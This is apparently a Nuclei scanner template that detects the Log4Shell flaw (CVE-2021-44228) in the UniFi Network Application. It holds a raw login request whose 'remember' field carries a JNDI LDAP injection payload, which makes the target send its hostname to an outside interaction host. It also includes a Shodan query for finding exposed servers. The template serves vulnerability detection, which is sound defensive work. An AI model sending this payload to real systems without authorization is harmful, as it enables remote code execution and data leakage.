id: unifi-network-log4j-rce

info:
  name: UniFi Network Log4j JNDI RCE
  author: KrE80r
  severity: critical
  description: A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in an impacted UniFi Network Application .
  reference:
    - https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
    - https://twitter.com/sprocket_ed/status/1473301038832701441
  metadata:
    shodan-query: http.title:"UniFi Network"
  tags: rce,log4j,ubnt,unifi,oast,jndi

requests:
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/manage/account/login?redirect=%2Fmanage

        {"username":"user","password":"pass","remember":"${jndi:ldap://${hostName}.{{interactsh-url}}}","strict":true}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"  # Confirms the DNS Interaction

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output